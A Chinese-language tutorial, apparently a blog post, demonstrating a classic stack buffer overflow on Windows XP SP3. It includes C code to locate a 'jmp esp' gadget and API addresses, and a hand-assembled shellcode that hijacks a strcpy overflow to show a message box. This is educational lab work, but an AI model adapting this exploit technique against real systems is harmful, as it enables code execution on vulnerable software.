缓冲区溢出

环境

  • winxp sp3
  • vc6.0

原理

可参考博客http://www.atomsec.org/%e5%ae%89%e5%85%a8/%e6%a0%88%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8e%9f%e7%90%86/
下面看一下正常的程序

#include<stdio.h>
#include<string.h>


char name[] = "12345678";

int main()
{
	char buf[8];
	strcpy(buf,name);
	printf("%s\n",buf);
	return 0;
}

其汇编代码为

C:\Program Files\Microsoft Visual Studio\MyProjects\2\1.cpp  ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
1:    #include<stdio.h>
2:    #include<string.h>
3:
4:
5:    char name[] = "12345678";
6:
7:    int main()
8:    {//保存现场
00401010 55                   push        ebp
00401011 8B EC                mov         ebp,esp
00401013 83 EC 48             sub         esp,48h;初始化栈
00401016 53                   push        ebx
00401017 56                   push        esi
00401018 57                   push        edi
00401019 8D 7D B8             lea         edi,[ebp-48h]
0040101C B9 12 00 00 00       mov         ecx,12h
00401021 B8 CC CC CC CC       mov         eax,0CCCCCCCCh
00401026 F3 AB                rep stos    dword ptr [edi]
9:        char buf[8];
10:       strcpy(buf,name);
00401028 68 30 4A 42 00       push        offset name (00424a30)
0040102D 8D 45 F8             lea         eax,[ebp-8]
00401030 50                   push        eax
00401031 E8 BA 00 00 00       call        strcpy (004010f0)
00401036 83 C4 08             add         esp,8
11:       printf("%s\n",buf);
00401039 8D 4D F8             lea         ecx,[ebp-8]
0040103C 51                   push        ecx
0040103D 68 1C 20 42 00       push        offset string "%s\n" (0042201c)
00401042 E8 29 00 00 00       call        printf (00401070)
00401047 83 C4 08             add         esp,8
12:       return 0;
0040104A 33 C0                xor         eax,eax
13:   }
0040104C 5F                   pop         edi
0040104D 5E                   pop         esi
0040104E 5B                   pop         ebx
0040104F 83 C4 48             add         esp,48h
00401052 3B EC                cmp         ebp,esp
00401054 E8 87 01 00 00       call        __chkesp (004011e0)
00401059 8B E5                mov         esp,ebp
0040105B 5D                   pop         ebp
0040105C C3                   ret
--- No source file  -------------------------------

获取jmp esp的地址

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
    BYTE* ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle=LoadLibrary(DLL_NAME);
    if(!handle)
    {
        printf(" load dll erro !");
        exit(0);
    }
    ptr = (BYTE*)handle;
 
    for(position = 0; !done_flag; position++)
    {
        try
        {
            if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
            {
                //0xFFE4 is the opcode of jmp esp
                int address = (int)ptr + position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }
        catch(...)
        {
            int address = (int)ptr + position;
            printf("END OF 0x%x\n", address);
            done_flag = true;
        }
    }
    getchar();
    return 0;
}

获取MessageBox和ExitProcess的地址

#include <windows.h>
#include <stdio.h>
typedef void (*MYpROC)(LpTSTR);
int main()
{ 
        HINSTANCE LibHandle;
        MYpROC procAdd;
        LibHandle = LoadLibrary("user32.dll");
        //获取user32.dll的地址
        printf("user32 = 0x%x", LibHandle);
        //获取的地址
        procAdd=(MYpROC)GetProcAddress(LibHandle,"MessageBoxA");
        printf("MessageBoxA = 0x%x", procAdd);
        LibHandle = LoadLibrary("kernel32.dll");
        procAdd = (MYpROC)GetProcAddress(LibHandle,"ExitProcess");
        printf("kernel32=0x%x\n ExitProcess=0x%x\n",LibHandle,procAdd);
        getchar();
        return 0;
}

生成shellcode

#include<windows.h>
//shellcode
char name[] =   "\x41\x41\x41\x41\x41\x41\x41\x41"      // 8 bytes 填满stack
				"\x41\x41\x41\x41"                      // 覆盖ebp
				"\x53\x93\xd2\x77"                      // 覆盖函数的返回地址 这个地址指向指令 jmp esp
				"\x83\xEC\x50"                          // sub         esp,50h
				"\x33\xDB"                              // xor         ebx,ebx
				"\x53"                                  // push        ebx
				"\x68\x6C\x64\x20\x20"                  // push        2020646Ch
				"\x68\x6F\x77\x6F\x72"                  // push        726F776Fh
				"\x68\x68\x65\x6C\x6C"                  // push        6C6C6568h
				"\x8B\xCC"                              // mov         ecx,esp
				"\x53"                                  // push        ebx
				"\x68\x6A\x20\x20\x20"                  // push        2020206Ah
				"\x68\x79\x20\x77\x6C"                  // push        6C772079h
				"\x68\x65\x64\x20\x62"                  // push        62206465h
				"\x68\x68\x61\x63\x6B"                  // push        6B636168h
				"\x8B\xD4"                              // mov         edx,esp
				"\x53"                                  // push        ebx MessageBoxA的第4个参数 0
				"\x52"                                  // push        edx MessageBoxA的第3个参数 hacked by wlj
				"\x51"                                  // push        ecx MessageBoxA的第2个参数 helloworld
				"\x53"                                  // push        ebx MessageBoxA的第1个参数 0
				"\xB8\xEA\x07\xD5\x77"                  // mov         eax,77D507EAh
				"\xFF\xD0"                              // call        eax
				"\xB8\x12\xCB\x81\x7C"                  // mov         eax,7C81CB12h
				"\x53"                                  // push        ebx
				"\xFF\xD0";                             // call        eax



int main()
{
	char buf[8];
	LoadLibrary("user32.dll");
	strcpy(buf,name);
	return 0;
}

效果
缓冲区溢出

参考资料

http://www.atomsec.org/%e5%ae%89%e5%85%a8/%e6%a0%88%e6%ba%a2%e5%87%bashellcode%e7%bc%96%e5%86%99/
https://evilcos.me/lab/xssee/

上一篇:Windows内核中的CPU架构-8-任务段TSS(task state segment)


下一篇:恋爱小助手微信QQ双端小程序源码